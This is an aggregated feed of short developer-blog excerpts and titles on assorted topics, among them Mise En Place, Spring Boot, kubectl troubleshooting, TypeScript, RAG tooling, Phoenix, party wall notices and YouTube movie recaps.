    (ITA version) For a few months now, I've been using Mise En Place as a tool to manage my environments: from macro (entire virtual machine) to micro (single project). Frustrated by always having to start from scratch when creating a new virtual machine with WSL2, this tool was suggested to me, and I've come to appreciate it more and more for its ease of use, speed, and consistency. It's the classic "Swiss Army knife" tool that allows you to manage tools and their versions in a specific project or across the entire machine, load a project's environment variables when you enter the project folder, and manage the tasks/scripts you want to use to automate the project itself. After the quick installation using the script indicated here, you can explore the commands with mise help This command al…  ( 8 min )
    Quick Recap: Spring Boot Versions
    Spring Boot simplifies Java backend development by providing auto-configuration, embedded servers, production-ready features, and rapid development support. Here's a version-wise recap focusing on features that actually impact coding experience. First release of Spring Boot Embedded Tomcat/Jetty — no external server needed Auto-configuration (core feature introduced) Spring Boot Starter dependencies (spring-boot-starter-web) application.properties for configuration 👉 Foundation for rapid development in Spring. Spring Boot 2.0 Based on Spring Framework 5 Reactive programming with WebFlux Java 8+ required Actuator redesigned with /actuator/* endpoints Gradle plugin improved 👉 Start of reactive and microservice-ready Spring. Spring Boot 2.1 Better Kubernetes support Enhanced Actuato…  ( 7 min )
    Mise-En-Place: un tool veloce e facile per gestire un ambiente di sviluppo.
    (ENG version) Da qualche mese ormai, sto usando Mise En Place come tool per gestire i miei ambienti: dal macro (intera macchina virtuale) al micro (singolo progetto). Frustrato dal dover sempre re-iniziare daccapo quando creavo una nuova macchina virtuale con WSL2 mi è stato suggerito questo strumento che ho apprezzato sempre di più per la facilità di utilizzo, la velocità e la consistenza. E’ il classico tool “coltellino svizzero” che ti permette di gestire i tool e le loro versioni in un determinato progetto o nell’intera macchina, caricare le variabili d’ambiente di un progetto quando entri nella cartella del progetto, e i task/script con cui si vuole automatizzare il progetto stesso. Dopo la veloce installazione con lo script indicato qui si possono esplorare i comandi con mise help …  ( 8 min )
    Why Mina is Ideal for Blockchain Games
    Introduction - the problem with blockchain games The integration of blockchain into the gaming sector has historically been constrained by a fundamental conflict between transparency and gameplay depth. I want to show how Mina address these limitations, facilitating a transition from simple asset ownership to the cryptographic verification of complex game states. The utility of Mina in gaming rests on two architectural pillars: the restoration of information asymmetry and the asymptotic compression of computation. In game theory, strategic depth often relies on what players cannot see. Using Mina's client-side proving, a player can generate a cryptographic proof that a move is valid according to the game rules without revealing the coordinates of the move to the public network. Trad…  ( 8 min )
    [Boost]
    The Architecture Nobody Talks About: How I Built Systems That Actually Scale (And Why Most Don't) TheBitForge ・ Nov 17 #aws #programming #webdev #javascript  ( 5 min )
    Comandos Kubectl para Resolução de Problemas
    Vamos falar neste artigo de comandos que podem te ajudar a solucionar problemas no Kubernetes. Estamos considerando um cenário de falha em deploys de uma aplicação. Um cenário comum no dia a dia de um profissional DevOps/SRE/Engenheiro de Plataformas. Pod.: Menor unidade gerenciada no Kubernetes, onde carrega os containeres com a aplicação. Deployments.: Controlador responsável por gerenciar o pod ou pods da aplicação. Services.: É a camada de abstração para definir políticas de exposição de um conjunto lógico de Pods. ConfigMaps e Secrets.: São os locais onde ficam os dados de configuração e segurança da aplicação. Vamos agora aos problemas relacionados a Deploys no Kubernetes. Por alguma razão, o pod não consegue ficar disponível, para entender o que está acontecendo, o ideal é identifi…  ( 8 min )
    A Beginner-Friendly Guide to TypeScript (What I Wish I Knew Earlier)
    When I first started learning TypeScript, I thought it was “just JavaScript with extra rules.” If you’re new to it, this post will save you the confusion I went through and give you a smooth entry into TypeScript. In simple terms: TypeScript = JavaScript + types + better developer experience It helps you catch bugs early, write clearer code, and avoid accidental mistakes. Here’s what I wish I understood from day one: 1. TypeScript makes your code predictable 2. Fewer runtime errors 3. Better autocomplete 4. Makes teamwork easier 1. Type Annotations let age: number = 24; let username: string = "John"; let isLoggedIn: boolean = true; 2. Arrays let scores: number[] = [10, 20, 30]; let names: string[] = ["John", "Jane"]; 3. Objects let user: { name: string; age: number } = { name: "John", age: 24 }; 4. Functions function greet(name: string): string { return `Hello, ${name}`; } 5. Union Types let id: number | string; id = 12; id = "12"; Interfaces (Your New Best Friend) interface User { name: string; age: number; isAdmin?: boolean; // optional property } const admin: User = { name: "John", age: 24, isAdmin: true }; This makes your code more organised and scalable. If you’re using React, TS helps you avoid a lot of confusion. type ButtonProps = { label: string; onClick: () => void; }; function Button({ label, onClick }: ButtonProps) { return {label}; } Now React knows exactly what the component expects, no more guessing. You don’t need to master TypeScript before using it. add types gradually use your editor hints let TypeScript guide you And with time, everything clicks. TypeScript isn’t difficult. Once you get comfortable with its structure, your code becomes cleaner, safer and more enjoyable to write. If you’re a beginner, here’s my advice: Start small. Build often. Let TypeScript teach you as you go.  ( 7 min )
    Testing FastAPI and LangChain with Two Response Modes
    I wanted to share a small detail from the customer-support workflow I built last week with FastAPI and LangChain. It’s something that kept the project easy to test and saved time later. I set up the app so each request can run in two modes: I. Mock mode Mock mode returns fixed responses for each intent. It gave me a stable baseline during debugging, since nothing depended on an external LLM call. Real mode uses OpenAI and follows the same structure, so switching back and forth didn’t break anything. One thing that worked well was keeping both paths inside the same handler. The logic stays in one place, and it’s obvious how the request flows. It’s a simple pattern, but it helps when you’re checking user messages, routing intents, and comparing outputs during refinement. If anyone’s building something similar, having these two modes early on makes the pipeline easier to reason about.  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less takes you on a snarky trip down the yellow brick road, tearing into every plot hole, cheesy line and disco groove of the 1978 musical now that Wicked is back in theaters. Along the way, CinemaSins sprinkles in links to their main site, a quick poll to learn more about viewers, Patreon perks and all the usual socials—from YouTube channels @TVSins/@CommercialSins to Discord, Reddit, TikTok and Instagram—plus a hat-tip to their squad of sin-counting writers. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
    Biggest Disney Bombs Series Premiere Disney’s recent hits, like Marvel and Star Wars, are sputtering and new originals (Wish, Elio) aren’t sticking—and that’s nothing new. Over the next few weeks, the hosts of The Weekly Planet will dig into four colossal live-action flops, starting with 2010’s The Sorcerer’s Apprentice. Featuring Nicolas Cage, questionable magic and a giant CGI bird, The Sorcerer’s Apprentice is the first “caravan of garbage” on their chopping block. If you thought you’d forgotten it, this breakdown will remind you why it bombed. Watch on YouTube  ( 6 min )
    dashboard
    Check out this Pen I made!  ( 5 min )
    Real-World Asset Redemption Explained
    Tokenized real-world assets (RWAs) crossed $50B TVL in 2025, but the industry has learned an important lesson: tokenization is easy — redemption is hard. Creating an on-chain representation of T-bills or real estate may take days, but building a redemption pipeline that works reliably under stress, complies with regulations and maintains liquidity is where most protocols fail. Issuance in RWA systems is simple: assets are acquired off-chain, tokens are minted, and supply expands. Redemption, however, reverses this flow — and introduces real-world complexity. Turning tokens back into fiat or the underlying asset involves queues, NAV checks, custodians, banking rails, compliance, and standardized on-chain logic. Many RWA failures in 2024–2025 came from one mistake: treating redemption as jus…  ( 7 min )
    This Week In React #259: State of React, Promise subclasses, Next.js, RSC, JSX Tools | Yoga CSS Grid, Radon | TC39, Browserslist
    Hi everyone, Seb here! 👋 It's been another quiet week in the ecosystem, probably because everyone was afraid to announce anything during the massive Cloudflare outage! By the way, this one was not caused by useEffect 😆! We have a good variety of interesting links, but I’m not sure what could be the headline. The most important news was probably the announcement of the upcoming CSS grid support in Yoga and React Native, but it’s still a draft PR for now. Also excited by the TC39 proposals progressing. Make sure to take the State of React 2025 survey, which just opened today! 💡 Subscribe to the official newsletter to receive an email every week! Shadcn Admin Kit: Supercharge Your Next Admin Your AI coding assistant knows CRUD, right? Except it reinvents the wheel every time and accumula…  ( 30 min )
    When a Trillion Dollars Moves: How Saudi Arabia's Mega-Investment Will Shake Global Currency Markets
    Imagine this: a country decides to invest nearly ALL of its annual earnings into another country's economy. That's what just happened. Saudi Arabia announced a staggering $1 trillion investment into the United States. To put this in perspective, that's like you putting your entire year's salary into your friend's business. When that happens, everything changes. For currency traders and anyone watching global markets, this isn't just another news story. This is one of those rare moments when a single announcement reshapes how money flows around the world. And when money flows change, currencies move. Hard. The question traders need to answer right now is simple: How does this trillion dollar tsunami affect the currency pairs you're trading? That's what we're diving into. Before we get into …  ( 12 min )
    Warum das Crypto-Onboarding immer noch kaputt wirkt und wie es endlich besser wird
    Wenn du schon eine Weile im Kryptobereich entwickelst, weißt du: Das größte Bottleneck sind nicht Skalierung, Gebühren oder Regulierung. Wir bekommen jede Woche neue L2s, Wallets mit schicken UIs und Dapps, die besser aussehen als je zuvor und trotzdem fühlt es sich für neue Nutzer oft an, als müssten sie einen Produktionsfehler debuggen, nur um ihre ersten Coins zu kaufen. Die Stolpersteine sind überall: „Welche Börse soll ich nutzen?“ „Warum will dieses Wallet eine Seed Phrase?“ „Warum ist das Verschicken von Tokens so kompliziert?“ „Wieso kostet Gas plötzlich 40 $?“ Für Devs sind das nur lästige Details. Die gute Nachricht: Onboarding-Tools entwickeln sich weiter In den letzten zwei Jahren gab es tatsächlich etwas Positives: Wallets, Dapps und sogar Browser-Erweiterungen integr…  ( 7 min )
    Bitnami MySQL Docker Image Tags Deleted
    So Bitnami was acquired by VMware and they did some business shenanigans and then got rid of all the bitnami/mysql tags. Errors you may have encountered when trying to start your db container. manifest for bitnami/mysql:latest not found: manifest unknown or Unable to find image 'bitnami/mysql:latest' locally This article should give you some options to get a working docker mysql db. mysql/mysql You can use the official mysql docker image but it will require you to change a few things. Docker compose file where you can replace the "mydbname" with something more descriptive for you app. name: mydbname services: db: image: mysql restart: always environment: MYSQL_ROOT_PASSWORD: dev MYSQL_DATABASE: mydbname volumes: - mydbname-data:/var/lib/mysql port…  ( 6 min )
    Everyone says we're using AI wrong, but are we using it right?
    ChatGPT is awesome, Claude Code and cursor is great. AI is revolutionary. It’s the technology that turned the world faster than it already is. It has brought knowledge to the ignorant, time to those in lack, and value to those who sought for it. It has given us so much in the little amount of time it’s been with us, yet it also took the valuable things that define what we do. A reflection: In the past few weeks I’ve noticed how much I’m hanging onto an LLM’s thoughts for the program that I code, the message that I’ll send, and the work that I do. I’m in constant state of waiting and seeking and waiting. Pressured to deliver fast and learn little. As if both can’t be done at the same time. I’ve noticed how my ability to just do things is slowly creeping out of my fingers. Arguably, its similar to what social media has done in our lives, it has taken the so called dull moments in our day to day lives and replaced it with answers that’s instant, with a bunch of pixels that hook us. My innate nature of seeking for answers has advanced me in different areas of life. Yet my desire to seek it fast brings me one step backwards. I’ve come into realization that all our questions are to be answered, but not all are to be answered in a snap. We are to seek it with genuine intention, in that way, what we sought for gets engraved in us. And so this is my message, for myself, and maybe for you: think. do. Use that tiny thing in your head that you carry everyday. Use it to produce the work that has been given to you. AI is not the problem. It’s a tool. It should help define and shape the work that we do. It’s not about using it less (though that worked for me), It’s all the more about embracing who you are, your identity, your gifts and be in full confidence of it. Your are to create, solve, question, and serve. So go do that thing, do it yourself, and do it flawed.  ( 7 min )
    Data Science Decoded: How Smarter Insights Are Shaping Tomorrow’s Decisions
    In a world where every click, purchase, and interaction generates valuable information, data has become one of the most powerful business assets. But raw data alone doesn’t create impact—understanding it does. That’s where data science steps in. It transforms scattered information into practical insights that help organizations make smarter, faster, and more confident decisions. Whether it’s predicting customer behavior, optimizing processes, or enhancing user experiences, data science has become the foundation of modern innovation across industries. What Exactly Is Data Science? At its core, data science is all about finding meaning in large and complex datasets. It blends mathematics, statistics, programming, and domain expertise to uncover patterns that humans may not easily see. A typi…  ( 7 min )
    What Every Programmer Should Know About Memory (Part 1)
    I recently came across an interesting paper titled What Every Programmer Should Know About Memory by Ulrich Drepper. The paper dives into the structure of memory subsystems in use on modern commodity hardware,and what programs should do to achieve optimal performance by utilizing them. What I will be doing is just summarizing what I (as a semi-intelligent being) have learned from reading the paper. I highly recommend reading the paper as the title says, what every programmer should know about memory. Needless to say, some parts of the paper where quite complex for my brain, I did my best to understand everything, but I might have missed some details. If you find any mistakes, please let me know! I just finished reading the first 3 sections of the paper, which cover the following topics: Ba…  ( 21 min )
    Shrinking Giants: A Word on Floating-Point Precision in LLM Domain for Faster, Cheaper Models
    Ever wondered how floating-point decision can have an impact on LLM’s output? Floating-point is the standard way computers represent real numbers (numbers with a fractional part, like 3.14 or 1.2×10−5). A floating-point number is generally composed of three parts: a sign bit, an exponent, and a mantissa (or significand). Sign bit: Determines if the number is positive or negative. Exponent: Determines the scale or magnitude of the number (how large or small it is). Mantissa: Determines the precision (the number of significant digits). The number following “FP” (e.g., 4 or 16) indicates the total number of bits used to store the number. Fewer bits mean less memory and faster computation, but also less precision and a smaller range of representable values. The terms FP4 and FP16 in the conte…  ( 20 min )
    I Built GitPulse — A Faster Way to Find Beginner-Friendly Open-Source Projects
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    🚀 New React Challenge: How Many Days Old Are You?
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    How AI could transform team collaboration: opportunities, challenges, and the future
    In today’s world, most teams rely on online collaboration platforms like Trello, Asana, Jira, Taskee, and Notion. These tools allow team members to see each other’s tasks, track progress, and mark completion. On the surface, it seems like everything is streamlined. But if you look closer, many processes are still done manually: people assign tasks, remind colleagues about deadlines, cross-check reports, and monitor progress. So why hasn’t this been fully automated yet? The answer is simple: most platforms can only record and visualize what humans enter. They don’t deeply analyze data, predict outcomes, or suggest solutions. This is where AI could make a real difference. Imagine a platform where AI can: Analyze workload and distribute tasks: Instead of manually deciding who takes which task…  ( 8 min )
    Black Friday 2025 : Developer and Testing tools
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    Finally xcode 26
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    Difference between .JAR and .WAR packaging in JAVA
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    Building a Technical Blog with Astro + Cloudflare
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    How to Compress Your Prompts and Reduce LLM Costs
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    How Myle V5 Device Works – Guide for Beginners
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    Cómo funcionan las tecnologías de navegación en los robots aspiradores: LIDAR, cámaras y sensores
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    Molecule Visualiser!
    This is a molecule visualiser app built with Streamlit and RDKit. this app has feature that allows you to visualise atoms and molecules in 2D and 3D . Features: Visualise molecules in 2D and 3D Customise atom colors and sizes Download images in various formats (PNG, SVG, JPEG, PDF) Save and load custom settings for future use APP IS NOW LIVE - https://atoms-molecule-visualiser.streamlit.app/  ( 6 min )
    Building for the Future: Why Cloud Native App Development Is Transforming Modern Businesses
    A New Era of Applications Begins Technology is evolving faster than ever, and businesses are under constant pressure to deliver seamless, scalable, and high-performing digital experiences. This shift has pushed many organizations to rethink how they build applications—and that’s where cloud native app development comes in. Far from being a buzzword, it represents a complete transformation in how modern apps are designed, deployed, and maintained. Cloud native app development empowers teams to build software that’s faster, more flexible, and inherently scalable. Instead of treating the cloud as just another hosting environment, it uses cloud technologies as the foundation for creating resilient and future-ready applications. What Exactly Is Cloud Native App Development? At its core, cloud n…  ( 7 min )
    Quick Recap: Databases
    There are different types of databases, each suited for different use cases. Relational Databases (RDBMS) Use structured tables with rows and columns. Follow ACID properties and use SQL for queries. Ideal for structured data and strong consistency. Examples: MySQL, PostgreSQL, Oracle, SQL Server Best when data relationships and integrity are critical. NoSQL Databases Designed for scalability and flexible schemas. Best suited for unstructured or rapidly changing data. They often sacrifice strict consistency for speed and scale (CAP theorem trade-offs). Types include: Key-Value (Redis, DynamoDB) → Fast lookup using a key, similar to a dictionary/map. Document (MongoDB, CouchDB) → Stores JSON-like documents with flexible schema. Column-Based (Cassandra, HBase) → Optimized for large-scale…  ( 7 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
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    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
    Modern Disney finds itself in a slump—Marvel and Star Wars outings are underperforming, and new originals like Wish and Elio barely register. But this isn’t unfamiliar territory: over the coming weeks, we’ll dive into four of Disney’s biggest live-action disasters. We kick things off with 2010’s The Sorcerer’s Apprentice. Picture Nicolas Cage, some half-baked magic, a massive bird and all the forgettable chaos that turned this film into a box-office and critical misfire. Watch on YouTube  ( 6 min )
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    This post was inspired by Stardew Valley 😎 If I was hard-pressed to pick my favourite computer game of all time, I'd go with Stardew Valley (sorry, Dangerous Dave). The stats from my Nintendo Profile is all the proof you need: Stardew Valley sits atop with 430 hours played and in second place is Mario Kart (not pictured) with ~45 hours played. That's a significant difference, and should indicate how much I adore this game. I've been talking about the importance of Fine-Grained Authorization and RAG recently, so when I sat down to build a sample usecase for a production-grade RAG with Fine-Grained Permissions, my immediate thought went to Stardew Valley. For those not familiar, Stardew Valley is a farm life simulation game where players manage a farm by clearing land, growing seasonal c…  ( 22 min )
    AI Psychosis
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    Prepare for Granular OAuth Consent in Apps Script powered Add-ons and Chat Apps
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    Demystifying Service Accounts When, Why, and How to Use Them
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    Supercharge collaboration with Meet APIs
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    Beyond the Build: Navigating the Google Workspace Marketplace Review Process
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    Testing the Unofficial Docling Hierarchical PDF Processor
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    Day 33 of My AI & Data Mastery Journey: From Python to Generative AI
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    Laravel Testing Made Simple with Pest: Write Clean, Readable, and Fast Tests
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    API? Yeah... we all pretend we know it If you've been around developers for more than five minutes, you've probably heard the word API being thrown around like it's salt of software engineering. I've used "API" in sentences, just hoping no one would ask, Honestly, the more you hear it, the more its meaning gets diluted. Every tutorial conveniently assumes that you've learned it in your past life. Then one random day - a perfect analogy dropped into my brain, Grab your imaginary library card - let's go! Picture this: you walk into your favorite library, fully ready to grab that one book you love. But you don't just sprint to the shelves, dive in, and start digging like a treasure hunter. In the real world, you go to the librarian. The librarian is the official, approved bridge between you…  ( 8 min )
    How to Choose the Right Party Wall Surveyor
    If your work touches a shared wall, digs close to a neighbour’s foundations, or changes a party structure, start by being able to describe the job in plain, exact terms. Say whether you are building on a boundary, removing a chimney, underpinning, excavating for a basement, or converting a loft. These are different jobs. The Party Wall etc. Act 1996 applies to specific kinds of works and whether it applies to you depends on the details. Draw a sketch, note measurements, list the sequence of contractor tasks and the expected start date. If you cannot explain your own project clearly, you will waste time and attract bad advice. A surveyor does more than fill in forms. They decide whether notices must be served. They prepare those notices correctly. If the neighbour dissents, they will prepar…  ( 10 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins takes a fun, snarky dive back down the yellow brick road now that Wicked’s back in theaters, pointing out every hilarious nitpick in The Wiz—faster than you can click your heels. For more sinful content and community shenanigans, hit up cinemasins.com or linktr.ee/cinemasins, subscribe to @TVSins, @commercialsins and their podcast network, and join them on Discord, Reddit, Instagram and TikTok. Big ups to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel! Watch on YouTube  ( 6 min )
    How to Disable Automatic Rearrangement of Desktops (Spaces) on Mac
    macOS offers a powerful feature called Spaces, which allows users to organize their open applications across multiple virtual desktops or workspaces. This helps maintain an organized workflow by separating projects or tasks into distinct environments. However, a feature that automatically rearranges these desktops based on your recent app usage can sometimes disrupt this organization. If you prefer your desktops to remain in a fixed order, it is essential to disable this auto-rearrangement. By default, macOS reorders your desktops (also called Spaces) so that the most recently used desktop appears next to your current one. While this can be useful for some people to quickly switch between frequently used spaces, it often causes confusion and breaks your muscle memory of where apps or docum…  ( 7 min )
    Building a DDoS Attack Simulator to Understand Defense Strategies
    I created an educational content piece for DevOps Daily and realized something: most explanations of DDoS attacks are either too abstract or too technical. We talk about "request floods" and "mitigation strategies," but it's hard to visualize what's actually happening. So I built an interactive simulator to help bridge that gap. When you're reading about DDoS protection, you see phrases like "distributes load across multiple servers" or "rate limiting prevents abuse." But what does that actually mean when thousands of requests are hitting your infrastructure? I wanted something that would help people - especially those newer to infrastructure work - actually see these concepts in action. You can try it here: devops-daily.com/games/ddos-simulator It lets you simulate three common attack typ…  ( 7 min )
    Introducing Business Directory Script — A Complete Base to Build Modern Directory Websites
    In many projects, the “directory” or “listing” module quietly becomes the most time-consuming part of the build. Business Directory Script. Most “directory builders” online are either: Listings support: Search is built for real-world directory usage: Each business/user gets: The admin can: Developers can easily plug in custom payment gateways. Users can leave: Every listing includes: The frontend layout is optimized for: Every developer can modify: This script is useful if you build: • Freelance developers Building a directory platform from scratch is repetitive work. This script removes the boilerplate so you can focus on the unique value of your project — not the basics everyone needs. If you want to explore, customize, or extend it, I’d love to hear your feedback and suggestions.  ( 8 min )
    How I Started Writing Unit Tests for Vue Components - Part 2
    So, it's been a year since the last article, and a lot has changed. In this one, we're going to talk about integrating with Mock Service Worker (MSW). I'll also describe what I tried to implement in my quest for system resilience - what worked out and what didn't. I can't say the time investment paid off in spades, but one thing's for sure - it definitely wasn't a waste of time. Here are the main areas where the tests really proved their worth: When contracts were lost or changed; Fixing the fallout from merge conflicts (given the quirks of our processes, this is the most common scenario); Refactoring (it's hard to be objective here since our project's test coverage isn't huge, but before any refactoring, I try to at least cover the code with local tests). Then again, all those fancy thing…  ( 9 min )
    REST Assured API Testing: Complete Beginner’s Tutorial
    Because APIs play such a big role, testing them isn’t optional anymore… it’s essential. If you’re someone who wants to learn API automation from scratch but doesn’t want to get overwhelmed, then REST Assured is one of the best places to start. It’s simple, Java-based, powerful, and widely used in real QA projects. In this beginner-friendly guide, we’ll walk through what REST Assured is, why it’s popular, how to set it up, and how to write your first API test—even if you’ve never touched API automation before. Let’s jump right in. ** ** REST Assured is a Java library built specifically for testing RESTful APIs. send API requests validate API responses automate API test cases It works beautifully with TestNG, Maven, and CI/CD pipelines, which is why many companies use it as part of their qa…  ( 9 min )
    A IA está sabotando sua evolução? Velocidade de Entrega vs Profundidade de Aprendizado
    English Version Você entregou a feature em tempo recorde. O código está organizado, tipado e passou nos testes. O PR foi aprovado. Você se sente invencível por ter finalizado sua sprint sem grandes esforços. Mas seja sincero com você mesmo por um segundo: se o Cursor, Copilot ou outra IA qualquer que você tenha utilizado durante o desenvolvimento tivesse ficado offline hoje, você teria conseguido escrever aquela solução de manipulação de streams complexa? Ou aquela regex de validação? Ou a configuração do Dockerfile? Estamos vivendo a "Era de Ouro" da produtividade no desenvolvimento. Ferramentas de IA não são apenas assistentes, elas são catalisadores de força. Elas nos permitem pular a parte chata, o boilerplate, a sintaxe que esquecemos. Mas existe um efeito colateral silencioso acontec…  ( 10 min )
    Is AI Sabotaging Your Career Growth? Delivery Speed vs. Learning Depth
    Portuguese Version You shipped the feature in record time. The code is organized, well-typed, and passed the tests. The PR was approved. You feel invincible for having finished your sprint without much effort. But be honest with yourself for a second: if Cursor, Copilot, or any other AI tool you used during development had gone offline today, would you have been able to write that complex stream manipulation solution? Or that validation regex? Or the Dockerfile configuration? We are living in the "Golden Age" of development productivity. AI tools are not just assistants; they are force multipliers. They allow us to skip the boring part, the boilerplate, the syntax we've forgotten. But a silent side effect is happening, affecting everyone from interns to seasoned developers: the outsourcing…  ( 9 min )
    LightRAG Tutorial: Getting Started with Knowledge Graph-Based RAG
    This tutorial walks through setting up and using LightRAG, a retrieval-augmented generation system that combines knowledge graphs with vector search for document retrieval. LightRAG is a RAG (Retrieval-Augmented Generation) system that builds knowledge graphs from your documents. Unlike classical RAG systems that rely solely on vector similarity search, LightRAG extracts entities and relationships from documents to create a structured knowledge graph, then uses both the graph and vector search for retrieval. Classical RAG: Uses vector embeddings to find semantically similar document chunks Retrieval is based on cosine similarity between query and document vectors No structured understanding of entities or relationships LightRAG: Extracts entities (people, organizations, concepts) and relat…  ( 9 min )
    Understanding Virtual Accounts with Flutterwave
    If you’ve ever tried collecting payments from customers across different African countries, you know how tricky it can get, especially when dealing with local payments. Nigerians prefer bank transfers, Kenyans rely on M-Pesa, Ghanaians use Mobile Money, and South Africans lean toward cards or electronic fund transfers (EFTs). Even within a single country, customers still use different payment methods. Africa’s complex payment ecosystem makes it hard for businesses to manage and reconcile incoming payments efficiently. That’s where virtual account management comes in. They simplify things by bringing all payment methods into one unified flow that’s easier to track and reconcile. In this guide, you’ll learn what virtual accounts are, how they work, and how to integrate them into your applica…  ( 11 min )
    Understanding the Party Wall Notice: When You Need It and How to Serve It Properly
    If you’re planning home improvements — an extension, loft conversion, underpinning, or even installing a new garden wall — you might think about foundations, planning permission, or building regs. But one legal step that catches many people out is the Party Wall Notice. Ignoring it isn’t just risky; it can delay work, lead to disputes, or force costly remedial measures. This guide explains in plain English when a Party Wall Notice is required, how to prepare and serve one properly, what to expect afterwards, and how getting the process right can protect your project, your neighbours, and your sanity. A Party Wall Notice is a formal, written notification served on an adjoining owner when proposed works fall under the Party Wall etc. Act 1996. The notice explains the planned work, the propo…  ( 9 min )
    Stop Using `?.` Everywhere - You're Hiding Your Bugs
    Why optional chaining is making your JavaScript harder to debug The optional chaining operator (?.) is one of the most convenient features in modern JavaScript. It's saved us countless lines of defensive null-checking code and made our codebases cleaner. But like any powerful tool, it can be misused—and when it is, it transforms from a helpful safeguard into a bug-hiding machine. Use ?. only where it's actually okay for something not to exist. This sounds simple, but in practice, I see developers (including past me) sprinkling ?. everywhere like it's syntactic sugar with no side effects. The truth is, every time you use optional chaining, you're making a statement about your data contract: "This might not exist, and that's fine." Let's look at a common scenario in a user profile dashboard:…  ( 9 min )
    Build Your MVP: Find the Right Technical Co-Founder
    Build Your MVP: Find the Right Technical Co-Founder Building your Minimum Viable Product (MVP) is a critical step in bringing your startup vision to life. But without the right technical talent, your great idea might stay just that—an idea. Here are three strategies to find the perfect technical co-founder and early team members. 1. Know What You're Looking For Before you start your search, define what skills and expertise your project needs. Is it a web developer, a mobile app expert, or a data scientist? Clarifying this can streamline your hunt and prevent future mismatches. 2. Tap into Your Network Use your existing network to reach out to potential candidates. Attend industry events, join online forums, and leverage social media platforms like LinkedIn. Personal connections often lead to trustworthy and motivated team members. 3. Leverage AI Matching Platforms like LeKlub-AI can help you find the ideal technical partner by using sophisticated AI algorithms to match you with co-founders who align with your project goals and culture. This can save you time and help you identify candidates you might not find through traditional means. Building a successful MVP requires more than just a great idea—it requires the right team. Consider these tips and streamline your search process with the power of AI. Ready to find your perfect technical co-founder? Give LeKlub-AI a try today!  ( 6 min )
    A First Look at the Phoenix Framework
    As a .NET developer embarking on a journey to learn Elixir, one of the first questions is: "How do I build a web API?" In the Elixir ecosystem, the answer is overwhelmingly the Phoenix Framework. If you're familiar with ASP.NET Core, you'll find Phoenix to be a powerful and elegant counterpart. In this article, I'll break down the key components of Phoenix and draw comparisons to the .NET world to help frame my understanding. Phoenix is the web development framework for the Elixir language. It allows you to build modern web applications, including Web APIs, Web Sockets (for real-time functionality), and traditional Model View Controller (MVC) apps. In the Microsoft world, it is the direct equivalent of ASP.NET Core. Phoenix is known for high developer productivity and exceptional applicati…  ( 9 min )
    Um Primeiro Olhar sobre o Framework Phoenix
    Como desenvolvedor .NET embarcando em uma jornada para aprender Elixir, uma das primeiras perguntas é: "Como construo uma API web?" No ecossistema Elixir, a resposta é predominantemente o Framework Phoenix. Se você está familiarizado com ASP.NET Core, verá que o Phoenix é uma contraparte poderosa e elegante. Neste artigo, vou detalhar os componentes-chave do Phoenix e fazer comparações com o mundo .NET para ajudar a estruturar meu entendimento. Phoenix é o framework de desenvolvimento web para a linguagem Elixir. Ele permite que você construa aplicações web modernas, incluindo APIs Web, Web Sockets (para funcionalidade em tempo real) e aplicativos tradicionais Model View Controller (MVC). No mundo Microsoft, ele é o equivalente direto do ASP.NET Core. Phoenix é conhecido por alta produtivi…  ( 10 min )
    [Boost]
    📢 We're opening a list of community projects! You can participate. Anthony Max for HMPL.js ・ Nov 20 #webdev #javascript #programming #opensource  ( 5 min )
    [Boost]
    📢 We're opening a list of community projects! You can participate. Anthony Max for HMPL.js ・ Nov 20 #webdev #javascript #programming #opensource  ( 5 min )
    Closed Anonymity
    Summary The downside of using real names is the constant need for consideration, which is inherently burdensome. This makes it challenging to focus on essential discussions. While psychological safety is emphasized, building and maintaining it is daunting and often insufficient on its own. This is where "closed anonymity" comes into play. While we want to use anonymity to avoid the inherent burden of real names, we also want to ensure governance. Thus, "being anonymous within a specific organizational scope" is the balance we aim for. Even today, we work under our real names. Needless to say, using real names is burdensome. This is because, with clear visibility of ourselves and others, we must constantly be considerate in our speech and actions. We could say there is a constant hea…  ( 8 min )
    n8n: A Great Starting Point, But Not Where Real Engineering Lives
    Low-code platforms like n8n have gained popularity among beginners, freelancers, and non-technical users exploring automation and AI workflows. They promise fast development, visual orchestration, and “code-optional” integration. For many, n8n is their first exposure to automation and their first glimpse into how software engineers think. And that is its true strength: n8n is an excellent learning and experimentation tool, not an engineering platform. Just like WordPress introduces people to websites, n8n introduces people to automation. It is ideal for exploring concepts, but it is not where scalable, maintainable, production-grade systems are built. If you're new to software automation—or even if you're 10 years old and curious about how software workflows behave—n8n is a great place to …  ( 8 min )
    How Figma Make is Closing the 'Idea-to-Proof' Gap
    Every product team knows the tension between speed and clarity. Moving from a concept on a slide to something people can actually test is often slow, expensive, and fragmented. That gap between what we imagine and what we can demonstrate is where many good ideas stall. Figma Make enters this space with a bold promise: to compress the distance between idea and proof, giving teams the power to build realistic, functional prototypes directly from their designs. As a product designer, I live in the idea-to-pitch loop with a constant question: How do I make my teammates or clients see what I see? Mockup help. Words help. But they’re not enough. Whether it be pitching to investors, scoping with clients, or aligning internal teams, ideas are always easy to talk about, but hard to show. We're st…  ( 9 min )
    How CSS Grid Changed the Way I Build Web Layouts
    I remember the first time I tried building a multi-section landing page. Everything seemed fine until I had to align cards, features, and hero sections across different screen sizes. Flexbox was great, it helped me align items neatly along a row or a column. Buttons were easy to center, cards aligned without stress, and navigation bars looked clean. But when it came to arranging rows and columns simultaneously, I felt like I was juggling invisible boxes. At that point, I realized that while Flexbox is incredibly useful, it wasn’t enough for some layouts I wanted to build. That’s when I discovered CSS Grid, and it felt like a whole new world opened up. Suddenly, I could control both rows and columns, manage spacing effortlessly, and create layouts that scaled beautifully on different device…  ( 14 min )
    Branding Case Study: How Neil Patel Turned His Name into the Ultimate SEO Tool
